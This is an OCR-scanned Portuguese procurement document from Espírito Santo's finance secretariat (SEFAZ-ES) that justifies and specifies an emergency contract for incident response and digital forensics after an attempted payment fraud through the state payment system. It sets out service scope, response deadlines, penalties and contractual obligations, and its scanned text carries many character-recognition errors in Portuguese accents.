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1.3 | Operagéo da Solugao XDR + ITDR 6 Més 16.085,35 R$ 96.512,10 ? §
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1.3.0 quantitativo de 1.400 (mil e quatrocentos) endpoints foi aferido com base no
numero de estagbes e servidores ativos no ambiente na data atual conforme
podemos verificar nas imagens abaixo.

1.4.A vigéncia de 6 (seis) meses é justificada pela necessidade de manutencdo da
condigdo segura por tempo suficiente que permita a SEFAZ garantir a erradicagao
do incidente e mitigagdo da causa raiz, eliminando assim o fator persisténcia do
incidente. Desta forma, dada a impossibilidade de recontratagdo ou prorrogagao de
contrato emergencial, torna-se necessaria e prudente a extensdo do prazo pelo
periodo de seguranga proposto.

1.5.Neste prazo, a SEFAZ pretende concluir a contratagdo ordinaria de servigos
gerenciados de seguranga conforme projeto ja em andamento, garantindo assim a
protecdo necessaria e eliminando a exposigdo aos riscos de permanecer com o
ambiente sem ferramentas necessarias de seguranga da informagao.
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SECRETARIA DE ESTADO DA FAZENDA

SECRETARIA DE ESTADO DA FAZENDA

Geréncia de Tecnologia da Informacao

10/04/2026 10:24 PAGINA 4 / 48

2026-3QQK74 - E-DOCS - DOCUMENTO ORIGINAL  10/04/2026 19:44 PAGINA 18/ 61

2026-7RBBWO - E-DOCS - DOCUMENTO ORIGINAL

1.6.Nao foram incluidos servigos acessorios ou ndo essenciais, em observancia ao
principio da proporcionalidade.

1.7.0 prazo de vigéncia da contratagao sera de 6 (seis) meses, tendo sido definido com
base no tempo necessario para as medidas cabiveis que atendam de maneira eficaz
os objetivos propostos, quais sejam:
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financeira e as operagdes em andamento. A equipe de seguranga da informagao foi
acionada e, em carater emergencial, iniciou o protocolo de contengao.

2.6.Como medida imediata, houve o isolamento de servidores estratégicos e a
suspensao temporaria de operagdes financeiras automatizadas. Essa decisao,
embora impactante para a rotina administrativa, foi essencial para impedir a
concretizacao de possiveis desvios de recursos publicos.

2.7.Nas horas seguintes, uma forga-tarefa foi montada, envolvendo especialistas em
cibersegurancga, auditores internos, tendo como dupla missao: conter o ataque ainda
em curso e preservar evidéncias digitais para fundamentar a materialidade da
investigagao.

2.8.Por fim, houve atuagdo da equipe técnica e aos mecanismos de monitoramento
existentes, ndo houve confirmagéo de prejuizo financeiro efetivo. As ordens de
pagamento suspeitas foram bloqueadas antes de sua execugdo, e os sistemas
comegaram a ser gradualmente restaurados em ambiente seguro.

2.9.Tal cenario representa risco imediato a operagao dos sistemas institucionais,
podendo comprometer:

2.9.1. A continuidade dos servigos publicos essenciais;
2.9.2. Aintegridade e confidencialidade de dados sensiveis;
2.9.3. A confiabilidade das informacgdes institucionais.

2.10. A natureza dinamica e progressiva de incidentes cibernéticos exige resposta
imediata, sob pena de agravamento exponencial dos danos.

2.11. Neste sentido, a realizagao de procedimento licitatorio ordinario demandaria prazo
incompativel com a urgéncia da situagao, considerando etapas como:

2.11.1. Elaboragao e publicagdo de edital;
2.11.2. Prazos legais de propostas e recursos;

2.11.3. Homologagao e contratagao.
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2.12. O decurso desse tempo podera resultar em:
2.12.1. Ampliagao do incidente de seguranca;
2.12.2. Vazamento de dados sensiveis;
2.12.3. Indisponibilidade prolongada de sistemas criticos;
2.12.4. Prejuizos operacionais e financeiros ao Estado.

2.13. Dessa forma, a demora inerente ao processo licitatério comprometeria
diretamente a continuidade dos servigos publicos e a seguranga dos ativos de
informacgao.

2.14. A contratacdo de empresa especializada em resposta a incidentes e analise
forense constitui o meio tecnicamente adequado e necessario para enfrentamento
direto da situagdo emergencial, uma vez que envolve:
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2.14.1. ldentificagcao da origem e extensao do incidente;

2.14.2. Contengao e erradicagado de ameagas;

2.14.3. Recuperagao segura dos ambientes afetados;

2.14.4. Preservagao e analise de evidéncias digitais;

2.14.5. Elaboragao de relatorio forense detalhado sobre o incidente.

2.14.6. O objeto da contratagdo esta estritamente limitado a essas finalidades, ndo
abrangendo atividades que extrapolem a mitigacao da situagdo emergencial.

2.15. Assim, verifica-se o enquadramento de situagdo emergencial concreta,
caracterizada pela ocorréncia de incidente de seguranga da informacao,
evidenciado por tentativas de efetivar pagamentos através de acesso indevido ao
Sistema de pagamentos do Estado — SIGEFES.

Das acoOes preventivas tomadas no ambito da Geréncia de Tecnologia da
informacao anteriores ao fato

2.16. Cumpre destacar que o ocorrido ndo possui qualquer vinculagdo a omissao ou
retardamento de agbes no ambito da Getec/Sefaz. Isso porque existem projetos em
andamento que visam garantir estabilidade e protecdo a eventos aqui esculpido.

2.17. Com efeito, podemos citar a contratagdo da ferramenta gerenciamento de acesso
privilegiado - PAM. A adogao desta solugédo traz beneficios significativos para a
seguranga e governanga de Tl, ao permitir o controle rigoroso e centralizado de
acessos criticos, reduzindo riscos de uso indevido de credenciais e de incidentes
de segurancga. A ferramenta viabiliza o monitoramento continuo das atividades
privilegiadas, com registro e auditoria detalhada, fortalecendo a conformidade com
normas e politicas internas.

2.18. Alem disso, registra-se, ainda, que ja existe em andamento desde o ano de 2025,
o projeto para a contratagao de um projeto de gerenciamento de riscos e compliance
de ciberseguranga, que reforga a iniciativa de mitigar qualquer forma que exponha
o ambiente da Sefaz a risco.
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2.18.1. O escopo deste projeto prevé a contratagao de uma solugao integrada de
Security Operation Center (SOC) composta por multiplos itens
interdependentes que devem ser executados em conjunto para garantir o
funcionamento adequado do ambiente de seguranga da informacgdo da
SEFAZIES.

2.18.2. Em primeiro lugar, destaca-se a contratagao de uma solugao de gestao de
vulnerabilidades com foco em risco e identidade, que contempla o
gerenciamento de ativos e usuarios, além de mecanismos de analise de risco e
impacto ao negocio. Essa solugdo tem como finalidade identificar, classificar e
priorizar vulnerabilidades, permitindo uma atuagédo preventiva e orientada a
criticidade dos ativos institucionais.
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2.18.3. Em segundo lugar, o objeto inclui uma solugdo de monitoramento avangado
e resposta a incidentes, com uso de tecnologias como SIEM, automagao de
resposta (SOAR), simulagao de ataques e ferramentas aplicadas a firewall.

2.18.4. Essa camada também abrange monitoramento de rede (NDR), analise
comportamental e mecanismos de hiperautomagao, permitindo detecgéo
precoce de ameagas e respostas automatizadas. Trata-se do nucleo
operacional do SOC, responsavel pela correlagcdo de eventos e atuagdo
continua frente a incidentes de seguranca.

2.18.5. O terceiro conjunto refere-se a protecdo avangada contra ameagas,
especialmente ransomware, por meio de solugées EDR/XDR aplicadas a todos
os endpoints.

2.18.6. Além disso, contempla solugbes de gestdo de disponibilidade para
monitoramento de hosts, URLs e APls, garantindo ndo apenas seguranga, mas
também a continuidade operacional dos sistemas criticos. Esses itens visam
assegurar a integridade, disponibilidade e resiliéncia do ambiente tecnologico
da Secretaria.

2.18.7. Outro eixo relevante envolve a prote¢do de e-mail, preveng¢ao de vazamento
de dados (DLP) e conscientizagao de usuarios. Essa frente inclui ferramentas
de seguranga de e-mail (antiphishing, antispam), programas de treinamento
(security awareness) e mecanismos de controle de exfiltragdo de dados. Soma-
se a isso a microsegmentacdo de rede, que busca limitar a propagagao de
ataques e aumentar a seguranca interna da infraestrutura .

2.18.8. Por fim, o objeto contempla a prestagdo continua de servigos especializados,
incluindo a operagéo do SOC, servigos de resposta a requisigbes com equipe
dedicada e suporte técnico especializado por meio de horas técnicas.

2.18.9. Esses servigos garantem o funcionamento permanente (24x7) do centro de
operagdes, bem como apoio técnico para incidentes complexos e evolugao do
ambiente de seguranga. Em conjunto, todos os itens formam uma solugéo
integrada, cuja execugdo unificada € essencial para assegurar eficiéncia,
responsabilidade uUnica e alto nivel de protegdo cibernética.
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2.19. Assim, o projeto colide exatamente com a necessidade aqui exposta,
evidenciando que existem iniciativas efetivas para que tal situagdo nao ocorresse.
Contudo, caso o procedimento tivesse sido concluido, ndo haveria a ocorréncia do
fato.

2.20. Alem disso, a Getec formalizou varios outros contratos que coadunam com a
seriedade com que trata a vertical de seguranca e GRC, dentre eles destacam se a
aquisigao de solugao Oracle Zero Data Loss, que trabalha em paralelo com o banco
de dados Exadata, e outra ferramenta de backup para demais dados existentes no
érgao.
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2.21. Somados, os contratos de backup chegam ao montante de quase
R$17.000.000,00 (dezessete milhdes de reais), o que demonstra o compromisso da
GETEC com as camadas de protegédo aos dados da Secretaria e da sociedae como
um todo.

2.22. Assim, resta evidenciado a persecugdo na protegdo da confidencialidade,
integridade, disponibilidade das informacgdes.

2.23. Paralelamente, a necessidade atual € diagnosticar a causa, reparar
imediatamente o ambiente, e apresentar lastro probatorio acerca do evento, uma
vez que, repisamos, ha em andamento a previsdo de contratagdo de solugao
robusta para a incorréncia de situagdo dessa monta. Portanto, ha natureza
estritamente emergencial.

3. DESCRICAO DA SOLUGAO COMO UM TODO CONSIDERADO O CICLO DE VIDA
DO OBJETO E ESPECIFICAGAO DO PRODUTO

3.1.A solugdo a ser contratada consiste na prestacdo de servigos especializados de
Resposta a Incidentes de Seguranga da Informagao e Analise Forense Digital (DFIR
— Digital Forensics and Incident Response), com o objetivo de identificar, conter,
mitigar e erradicar incidentes de segurangca, bem como preservar e analisar
evidéncias digitais, assegurando a continuidade dos servigos institucionais da
SEFAZ/ES.

3.2.A solugao devera abranger todo o ciclo de vida do tratamento de incidentes de
seguranga da informagéo, contemplando, de forma integrada e continua:

3.2.1. Preparacao e Mobilizacao

3.2.1.1. Disponibilizar equipe técnica especializada, apta a atuar de forma
imediata em situagdes de incidente;

3.2.1.2. Estruturar processo de resposta baseado em boas praticas
reconhecidas internacionalmente;
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3.2.1.3. Estabelecer canais de comunicagdo e fluxo de acionamento para
atendimento emergencial.

3.2.2. Detecgdo e Andlise Inicial
3.2.2.1. Apoiar na identificagado de incidentes de seguranga da informagao;

3.2.2.2. Realizar analise preliminar com vistas a classificagdo da severidade e
priorizagao do atendimento;

3.2.2.3. Identificar possiveis vetores de ataque e ativos impactados.

3.2.3. Contencgao, Erradicacao e Recuperacao

3.2.3.1. Atuar na contengido do incidente, com vistas a interrupgdo de sua
propagagao;

aquisicoes@sefaz.es.gov.br (27)3347-5545 Awv. Joao Batista Parra, 600 - Enseada do Sua CEP: 29.050-375 - Vitoria / ES




SECRETARIA DE ESTADO DA FAZENDA

SECRETARIA DE ESTADO DA FAZENDA

Geréncia de Tecnologia da Informacao

3.2.3.2. Apoiar tecnicamente a erradicacdo de ameacas identificadas;

3.2.3.3. Orientar a recuperagao segura dos ambientes afetados;

3.2.3.4. Propor medidas corretivas e preventivas para evitar reincidéncia.
3.2.4. Andlise Forense Digital

3.2.4.1. Realizar coleta, preservacao e analise de evidéncias digitais;

3.24.2. Garantir a integridade e rastreabilidade das evidéncias (cadeia de
custodia);

3.24.3. Identificar a origem, causa e extensdo do incidente sempre que
possivel;

3.24.4. Produzir elementos técnicos que subsidiem eventuais demandas de
orgaos de controle e auditoria.

3.2.5. Comunicacgao e Gestao do Incidente

3.2.5.1. Manter comunicagéo continua com a CONTRATANTE durante todo o
ciclo do incidente;

3.2.5.2. Fornecer atualizagdes periédicas quanto a evolugéo e tratamento do
incidente;

3.2.5.3. Registrar todas as ag¢des realizadas, garantindo rastreabilidade e
auditabilidade.
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3.2.6. Relatorios e Encerramento

3.2.6.1. Elaborar relatério técnico detalhado contendo a descrigdo completa do
incidente;

3.2.6.2. Apresentar linha do tempo dos eventos e evidéncias coletadas;
3.2.6.3. Indicar impactos, causas e agdes executadas;

3.2.6.4. Apresentar recomendacgdes técnicas para mitigagao de riscos futuros;
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3.2.6.5. Elaborar relatério executivo para apoio a tomada de decisao.
3.2.7. Monitoramento e acompanhamento

3.2.7.1. Monitorar o incidente até sua completa mitigacao;

3.2.7.2. Fornecer atualizagdes periodicas;

3.2.7.3. Informar mudangas de status e riscos adicionais;

3.2.7.4. Monitorar o ambiente durante todo o periodo contratual a fim de
identificar a persisténcia e reincidéncia dos incidentes.

3.3. A solugao devera ser executada de forma integrada aos ambientes tecnolégicos da
SEFAZ/ES, sem causar interrupgdes indevidas nos servigos institucionais, devendo
a CONTRATADA atuar em regime compativel com a criticidade dos incidentes
identificados.
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3.4. A execugao dos servigos devera observar rigorosamente:
3.4.1. As normas internas de seguranga da informacgao da SEFAZ/ES;
3.4.2. Alegislagao vigente, especialmente a Lei n® 13.709/2018 (LGPD);

3.4.3. Os principios de confidencialidade, integridade, disponibilidade e
rastreabilidade das informacgdes.

3.5. A solugéo devera assegurar:
3.5.1. Atendimento emergencial e tempestivo;
3.5.2. Atuagéo especializada com foco em mitigagéo imediata de riscos;
3.5.3. Suporte a continuidade dos servigos publicos;
3.5.4. Geragao de evidéncias técnicas para fins de auditoria e controle.

3.6.0s servigos deverdo ser prestados de forma continua visando garantir a protegéo e
a integridade do ambiente durante todo o periodo de cobertura contratual.

4. REQUISITOS DA CONTRATAGAO
4.1.Requisitos Técnicos

4.1.1. A CONTRATADA devera prestar servicos especializados de Resposta a
Incidentes de Seguranga da Informagdo e Anadlise Forense Digital (DFIR —
Digital Forensics and Incident Response), em conformidade com boas praticas
internacionais, tais como as diretrizes estabelecidas no NIST SP 800-61
(Computer Security Incident Handling Guide) ou equivalente.
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4.1.2. ACONTRATADA devera executar, no minimo, as seguintes atividades:
4.1.2.1. Gestao e Conducao de Incidentes

a) Designar profissional responsavel pela coordenagdo da resposta ao
incidente, atuando como gerente de crise ou fungao equivalente;
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b) Estruturar e conduzir processo formal de resposta a incidentes, incluindo
a organizagao de ambiente colaborativo (sala de crise ou equivalente);

c) Coordenar as agdes técnicas e operacionais necessarias a mitigagdo do
incidente.

4.1.2.2. Registro, Comunicacao e Gestao de Informagoes

a) Implantar mecanismos formais de registro de incidentes, assegurando
rastreabilidade das agbes executadas;

b) Estabelecer e executar fluxos de comunicagdo com as partes
interessadas, garantindo atualizagdo continua quanto ao status do
incidente;
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c) Manter registro detalhado de eventos, decisdes e evidéncias durante todo
o ciclo de resposta.

4.1.2.3. Coleta de Evidéncias Digitais

a) Realizar coleta técnica de evidéncias digitais em dispositivos, servidores,
sistemas, aplicagdes e componentes de rede afetados;

b) Assegurar a integridade, autenticidade e preservagdo das evidéncias,
observando praticas de cadeia de custddia;

c) Empregar técnicas adequadas de aquisicdo de dados, incluindo, no
minimo, coleta de disco, memoria, rede e logs.

4.1.2.4. Analise Forense de Evidéncias
a) Analisar tecnicamente as evidéncias coletadas com vistas a:
b) Identificar a natureza do incidente;
c) ldentificar presenga de codigos maliciosos;
d) Identificar acessos nao autorizados;
e) lIdentificar movimentagdes laterais;
f) Identificar exfiltracdo de dados ou outras agées maliciosas;

g) Correlacionar eventos e artefatos, possibilitando a reconstrugcao
cronolégica do incidente.
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4.1.2.5. Identificagdo da Extensao e Impacto

a) Determinar o escopo do incidente, incluindo sistemas, usuarios e dados
afetados;

b) Avaliar o impacto atual e potencial sobre os servigos institucionais;
c) ldentificar ativos comprometidos e possiveis vetores de propagacao.

4.1.2.6. Contencao e Isolamento
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a) Recomendar e/ou apoiar tecnicamente a execugao de medidas de
isolamento de ativos comprometidos;

b) Atuar para conter a propagacgao do incidente;

c) Orientar a implementagéo de controles emergenciais de seguranca.
4.1.2.7. Mitigacao e Erradicagao

a) Propor e orientar agdes de mitigagao, incluindo:

b) Bloqueio de trafego malicioso;

c) Remocéo de artefatos maliciosos;

d) Corregao de vulnerabilidades exploradas;

e) Apoiar a restauragédo segura dos ambientes afetados.
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a) Lideranca / coordenagao: CISSP, CISM;

)

b) Forense Digital: GCFA, GCFE, CHFI;
)
)

c) Resposta a incidentes: GCIH, Security+

d) Analise ofensiva: CEH, OSCP

4.1.5. ACONTRATADA devera observar integralmente as normas de seguranga da
informacao e a legislagdo aplicavel, especialmente a Lei n° 13.709/2018
(LGPD), garantindo confidencialidade e protegdo dos dados.

4.1.6. A CONTRATADA devera garantir atendimento compativel com a criticidade
do incidente, incluindo disponibilidade para atendimento emergencial.

4.2.Da Sustentabilidade

4.2.1. A contratada devera realizar a prestagdo dos servigos prioritariamente por
meios digitais, incluindo disponibilizacdo de atualizagdes, patches,
documentagdes, relatorios técnicos e comunicagdes em formato eletrénico, de
forma a reduzir o consumo de papel e outros insumos fisicos.

4.2.2. A contratada devera adotar praticas de responsabilidade socioambiental,
observando a legislagdo ambiental vigente, promovendo o uso eficiente de
recursos energéticos e computacionais em seus ambientes de atendimento e
suporte, bem como assegurando, quando aplicavel, a destinagao
ambientalmente adequada de residuos tecnolégicos, em conformidade com a
Politica Nacional de Residuos Sdlidos, Lei n® 12.305/2010.

4.3.Da Subcontratacao
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4.3.1. Nao é admitida a subcontratagdo do objeto contratual tendo em vista que as
caracteristicas da solugédo a ser contratada demandam a atuagéo de um unico
prestador, capaz de assegurar a integralidade, a padronizacdo e a
rastreabilidade do servigo/produto, de forma que a divisdo de responsabilidades
entre consorciados poderia comprometer a eficiéncia, a governanga e a
continuidade da execugao contratual.

2026-3QQK74 - E-DOCS - DOCUMENTO ORIGINAL  10/04/2026 19:44 PAGINA 26/ 61

2026-7RBBWO - E-DOCS - DO(

4.4.Da Participacao de Consércio

4.4.1. Nao sera permitida a participagao de empresas reunidas em consorcio, tendo
em vista que as caracteristicas da solugdo a ser contratada demandam a
atuagdo de um unico prestador, capaz de assegurar a integralidade, a
padronizagao e a rastreabilidade do servigo/produto, de forma que a divisdo de
responsabilidades entre consorciados poderia comprometer a eficiéncia, a
governancga e a continuidade da execugao contratual.

5. MODELO DE EXECUGCAO DO OBJETO

5.1.Condigoes de execugao
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5.1.1. A contratada atuara imediatamente apdés a assinatura do contrato,
disponibilizando os profissionais e as ferramentas necessarias para atender ao
incidente em curso.

5.1.2. Devera ser criada uma Sala de Crise “War Room” reunindo especialistas
multidisciplinares da CONTRATADA e profissionais da CONTRATANTE que
atuardo em conjunto na resolugao do incidente em curso.

5.1.2.1. Esta sala sera responsavel por coordenar e executar todas as agdes
realizadas no ambito do contrato, bem como sera o ponto central de
comunicagao entre os integrantes da equipe.

5.1.3. Os servigos serao prestados de maneira preferencialmente remota em regime
de 24/7 durante toda a vigéncia do contrato.

5.1.4. Ao menos 3 (trés) profissionais deverao estar alocados na sede da
CONTRATANTE até que se conclua a resolugéo do incidente em curso.

5.1.5. Ao menos 1 (um) profissional devera estar alocado na sede da
CONTRATANTE para tratativas imediatas de bloqueios e liberagdes que se
fizerem necessarias a seguranga e ao bom andamento dos servigcos com o
menor impacto possivel no ambiente organizacional da SEFAZ.

5.1.6. Os itens 1.1, 1.2, 2.1, 2.2, 3.1 e 3.2 referentes a licenciamento e ativagao
deverao ser fornecidos e executados em até 10 (dez) contados do inicio da
vigéncia do contrato.
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5.1.7. Oitem 4.1 — Assessment da Solugao F5, devera ser realizado em até 10 (dez)
contados do inicio da vigéncia do contrato.

5.1.8. Os itens 1.3, 2.3, 4.2 e 5 referentes aos servigos continuos de operagao e
monitoramento das solugdes deverdao ser executados em regime de 24/7,
inicianto-se imediatamente apds a conclusao dos itens anteriores.

5.1.9. O incidente em curso devera ser solucionado nos primeiros 30 dias do
contrato.

5.1.9.1. Neste prazo a CONTRATADA devera:
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a) Estruturar e conduzir processo formal de resposta a incidentes, incluindo
a organizagao de ambiente colaborativo (sala de crise ou equivalente);

b) Coordenar as agbes técnicas e operacionais necessarias a mitigagao do
incidente.

c) Implantar mecanismos formais de registro de incidentes, assegurando
rastreabilidade das agdes executadas;

d) Manter registro detalhado de eventos, decisdes e evidéncias durante todo
o ciclo de resposta.

e) Realizar coleta técnica de evidéncias digitais em dispositivos, servidores,
sistemas, aplicagdes e componentes de rede afetados;
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f) Identificar a natureza do incidente;

g) ldentificar presenca de codigos maliciosos;

h) ldentificar acessos nao autorizados;

i) Identificar movimentagdes laterais;

j) Identificar exfiltragdo de dados ou outras agées maliciosas;

k) Correlacionar eventos e artefatos, possibilitando a reconstrugao
cronoldégica do incidente.

) Determinar o escopo do incidente, incluindo sistemas, usuarios e dados
afetados;

m) Avaliar o impacto atual e potencial sobre os servigos institucionais;
n) ldentificar ativos comprometidos e possiveis vetores de propagagéo.

o) Recomendar e/ou apoiar tecnicamente a execugdo de medidas de
isolamento de ativos comprometidos;

p) Atuar para conter a propagacgao do incidente;
q) Orientar a implementagéo de controles emergenciais de seguranca.
r) Bloqueio de trafego malicioso;
s) Remocéo de artefatos maliciosos;
t) Apoiar a restauragao segura dos ambientes afetados.
u) ldentificar falhas exploradas (técnicas, processuais ou humanas);
v) Indicar medidas corretivas e preventivas.
w) Elaborar relatério técnico contendo, no minimo:
I. Descrigao do incidente;
Il. Linha do tempo dos eventos;
Ill.  Evidéncias coletadas;
IV. Acgoes realizadas;
V. Impacto identificado;
VI. Recomendagdes técnicas;

VII.  Elaborar relatério executivo para apoio a tomada de deciséo, entre
outras agoes que forem necessarias.

5.1.9.2. Apods a finalizagao do incidente em curso de acordo com os critérios
acima, a CONTRATADA devera manter o monitoramento ativo do
ambiente em regime 24/7 durante toda a vigéncia do contrato.
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5.1.9.3. A CONTRATADA emitira mensalmente Relatério Mensal de Atividades
e Incidentes Registrados elencando as ocorréncias e atividades realizadas
durante a execugdo do servigo de monitoramento.

a) O relatério devera ser apresentado pela CONTRATADA a
CONTRATANTE no inicio do més subsequente a realizagdo das
atividades contendo as evidéncias dos servigos realizados no periodo.

5.2.Do IMR

5.2.1. A contratada devera atender os niveis minimos de servigo de acordo com os
instrumentos de medigao de resultado descritos abaixo.

5.2.2. O ndo atendimento dos critérios minimos ensejara nas glosas previstas sem
prejuizo das sang¢des administrativas previstas em contrato.

5.2.2.1. Tempo de Atendimento Inicial

Severidade Definicao Prazo Maximo
Critica Incidente com impacto severo ou indisponibilidade até 1 hora
Alta Comprometimento relevante até 4 horas
Média Impacto moderado até 8 horas
Baixa Baixo impacto até 24 horas

5.2.2.2. Contengao do Incidente em Curso em até 30 dias
a) Atuar na contencéo do incidente;

b) Apoiar na erradicagdo da ameaca;
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c) Promover a recuperagéo segura do ambiente;
d) Implementar e propor medidas corretivas e preventivas;
e) Apresentar analise forense digital.

5.2.2.3. Atualizagbes e Comunicagao

a) Atualizagdes periddicas deverao ser fornecidas no maximo a cada 4 horas
para incidentes criticos;
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b) Relatorio preliminar devera ser entregue em até 24 horas apods
estabilizago;

c) Relatério final devera ser entregue em até 5 dias uteis.
5.2.3. Descumprimento do IMR

5.23.1. O ndo cumprimento dos prazos estabelecidos sujeitara a
CONTRATADA as seguintes penalidades:

PRAZO ACAO
Atraso de até 10% adverténcia formal
Atraso entre 10% e 30% glosa de até 2% do valor mensal do contrato
Atraso superior a 30% glosa de até 5% + possibilidade de rescisao contratual

5.2.3.2. Falhas na Execucao Técnica
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FALHA ACAO

Nao entrega de relatorios glosa de até 3%;
Falha na condugéo do incidente glosa de até 5%
Descumprimento de confidencialidade penalidades maximas previstas em lei

5.2.3.3. Descumpirimento de ambos os critérios ensejardo em cumulatividades
das glosas;

5.2.3.4. Areincidéncia em falhas podera ensejar:

a) Agravamento das penalidades através da majoracgao da glosa em 50% em
relagcéo a penalidade anterior;

b) Aplicagédo das sang¢des administrativas previstas em contrato;

c) Rescisao unilateral do contrato sem prejuizo das sangbées administrativas
e legais cabiveis.

5.3.Local e horario da prestacao dos servigos

5.3.1. Os bens deverao ser entregues no enderego sede da SEFAZ-ES, na Geréncia
de Tecnologia da Informagéo, Av. Jodao Batista Parra. n.° 600, 1° andar, ala
convento. Ed. Aureliano Hoffman, Enseada do Sua - CEP 29050-375,
Vitoria/Tel. 3347-5346.

5.4.Materiais a serem disponibilizados

5.4.1. A CONTRATANTE devera disponibilizar toda infraestrutura de servidores
necessaria para a instalagado das licengas, bem como toda INFRAESTRUTURA
para os consultores que atuardo no projeto, como: mesas, cadeiras, estagoes
de trabalho, acesso a rede, contas na rede, demais ferramentas e utensilios que
se fizerem necessarios.

5.5.Especificacao da garantia do servigo (art. 40, §1°, inciso lll, da Lei n° 14.133,
de 2021)

5.5.1. A CONTRATADA se responsabilizara por quaisquer problemas ou falhas
decorrentes de sua execugdo, por um periodo minimo de 12 (doze) meses,
contados a partir do aceite dos servigos. Durante este prazo, a corregao de tais
erros sera feita sem nenhum custo adicional para a contratante.

6. MODELO DE GESTAO DO CONTRATO

6.1. O contrato devera ser executado fielmente pelas partes, de acordo com as clausulas
avencgadas e as normas da Lei n° 14.133/2021, e cada parte respondera pelas
consequéncias de sua inexecugao total ou parcial.

6.2.As comunicagdes entre o 6rgao ou entidade e a contratada devem ser realizadas
por escrito sempre que o ato exigir tal formalidade, admitindo-se o uso de
mensagem eletrénica para esse fim.
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6.3.0 orgao ou entidade podera convocar representante da empresa para adogao de
providéncias que devam ser cumpridas de imediato.

6.4.Apds a assinatura do contrato ou instrumento equivalente, o 6rgao ou entidade
podera convocar o representante da empresa contratada para reunio inicial para
apresentagao do plano de fiscalizagdo, que contera informagdes acerca das
obrigagdes contratuais, dos mecanismos de fiscalizagdo, das estratégias para
execugdo do objeto, do plano complementar de execugao da contratada, quando
houver, do método de afericdo dos resultados e das sangbes aplicaveis, dentre
outros.

7. DAS OBRIGACOES DAS PARTES
7.1.Das obrigacoes do contratante:

7.1.1. Nomear Gestor e Fiscal para acompanhar e fiscalizar a execugdo dos
contratos.

7.1.2. Receber o objeto fornecido pela CONTRATADA que esteja em conformidade
com proposta aceita, conforme inspecdes realizadas, no prazo em condigées
estabelecidas neste Termo de Referéncia, atestando as respectivas faturas.

7.1.3. Aplicar a CONTRATADA as sang¢des administrativas legais, regulamentais e
contratuais cabiveis motivadas pela inexecugao total ou parcial, neste Termo de
Referéncia, do Estudo Técnico Preliminar e do Contrato.

7.1.4. Liquidar o empenho e efetuar pagamento a CONTRATADA do valor
correspondente a execugdao do objeto, no prazo, forma e condigcdes
estabelecidas neste Termo de Referéncia, Estudo Técnico Preliminar e o
Instrumento Contratual.

7.1.5. Comunicar a CONTRATADA todas e quaisquer ocorréncias relacionadas com
a prestagao dos servigos contratados.

7.1.6. Definir produtividade ou capacidade minima da prestagdo de servigos por
parte da CONTRATADA, com base em pesquisa de mercado, quando aplicavel.

7.1.7. Exigir o cumprimento de todas as obrigagbes assumidas, pela
CONTRATADA, de acordo com este Termo de Referéncia e o Contrato.

7.1.8. Notificar a CONTRATADA, por escrito, sobre vicios, defeitos, ou incorregoes
verificadas no objeto fornecido, para que seja por eles substituido, reparado ou
corrigido, no total ou em parte, as suas expensas, fixando prazo para sua
corregao.

7.1.9. Comunicar a CONTRATADA para emissao de Nota Fiscal no que for
pertinente a parcela incontroversa da execugcdo do objeto, para efeito de
liquidagdo e pagamento, quando houver controvérsia sobre a execugédo do
objeto, quanto a dimenséo, qualidade e quantidade, conforme, o Art. 143 da Lei
Federal 14.133/21.

UMENTO ORIGINAL  10/04/2026 10:24 PAGINA 19/48

2026-7RBBWO - E-DOCS - DO(

2026-3QQK74 - E-DOCS - DOCUMENTO ORIGINAL  10/04/2026 19:44 PAGINA 31 /61

aquisicoes@sefaz.es.gov.br (27)3347-5545 Awv. Joao Batista Parra, 600 - Enseada do Sua CEP: 29.050-375 - Vitoria / ES




GOVERNO DO ESTADO DO ESPIRITO SANTO
SECRETARIA DE ESTADO DA FAZENDA

SECRETARIA DE ESTADO DA FAZENDA

Geréncia de Tecnologia da Informacao

7.1.10. Acompanhar e Fiscalizar a execugdo do contrato por servidor especialmente
designado, anotando em registro proprio as falhas detectadas durante a
execugao, indicando o dia, més e ano, bem como o nome dos empregados
eventualmente envolvidos, encaminhando os apontamentos autoridade
competente para as providéncias cabiveis, e exigindo o cumprimento de todas
as obrigagdes assumidas pela CONTRATADA, de acordo com este Termo de
Referéncia, o Contrato e seus Anexos.

7.1.11. Explicitamente emitir decisdo sobre todas as solicitagdes e reclamagdes
relacionadas a execugdo do presente contrato, ressalvados os requerimentos
manifestamente impertinentes, meramente protelatérios ou de nenhum proveito
para boa execugao do contrato.

7.1.12. Efetuar as retengdes tributarias devidas, sobre o valor da Nota Fiscal / Fatura
fornecida.

7.1.13. Nao renumerar ou pagar, em hipdtese alguma, despesas com diarias e
passagens a CONTRATADA.

7.1.14. Permitir o livre acesso dos empregados e preposto da CONTRATADA,
sempre que necessario, de forma que os servigos possam ser executados a
contento.

7.1.15. A Administragdo ndo respondera por quaisquer compromissos assumidos
pela CONTRATADA com terceiros, ainda que vinculados a execugdo do
contrato, bem como por qualquer dano causado a terceiros em decorréncias de
ato da CONTRATADA, de seus empregados, prepostos ou subordinados.

7.2.Das obrigacoes da contratada:

7.2.1. Executar os servigos conforme especificagées no Termo de Referéncia, para
o perfeito funcionamento das Clausulas contratuais, além de disponibilizar todos
os meios de acesso ao cumprimento total da obrigagao.

7.2.2. Responsabilizar-se pelos vicios e danos decorrentes da execugao do objeto
ficando a contratante autorizada a descontar a garantia, caso exigida, ou dos
pagamentos devidos a CONTRATADA, valor resultante dos danos sofridos.

7.2.3. Utilizar empregados habilitados e com conhecimentos adequados para a
prestacao dos servigos a serem executados, em conformidade com as normas
e determinagdes em vigor.

7.2.4. Apresentar a CONTRATANTE quando for o caso, a relagdo nominal dos
empregados que adentrardo no 6rgao para execugao do servigo.

7.2.5. Responsabilizar-se por todas as obrigagbes trabalhistas, sociais,
previdenciarias, tributarias e as demais previstas em legislagédo especifica, cuja
inadimpléncia ndo transfere responsabilidade a contratante.

7.2.6. Instruir seus empregados quanto a necessidade de acatar as normas internas
da Administragao.

aquisicoes@sefaz.es.gov.br (27)3347-5545 Av. Joao Batista Parra, 600 - Enseada do Sua CEP: 29.050-375 - Vitéria / ES
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7.2.7. Instruir seus empregados a respeito das atividades a serem desempenhadas
alertando-os a ndo executar atividades ndo abrangidas pelo contrato, devendo
a CONTRATADA relatar a CONTRATANTE toda e qualquer ocorréncia neste
sentido, a fim de evitar desvio de fungao.

7.2.8. Relatar a CONTRATANTE toda e qualquer irregularidade verificada no
decorrer da prestacao de servigos.

7.2.9. Nao permitir a utilizagéo de qualquer trabalho do menor de dezesseis anos,
exceto na condigdo de aprendiz para os maiores de quatorze anos, nem permitir
a utilizagcdo de menor de dezoito anos em trabalho noturno, perigoso ou
insalubre.

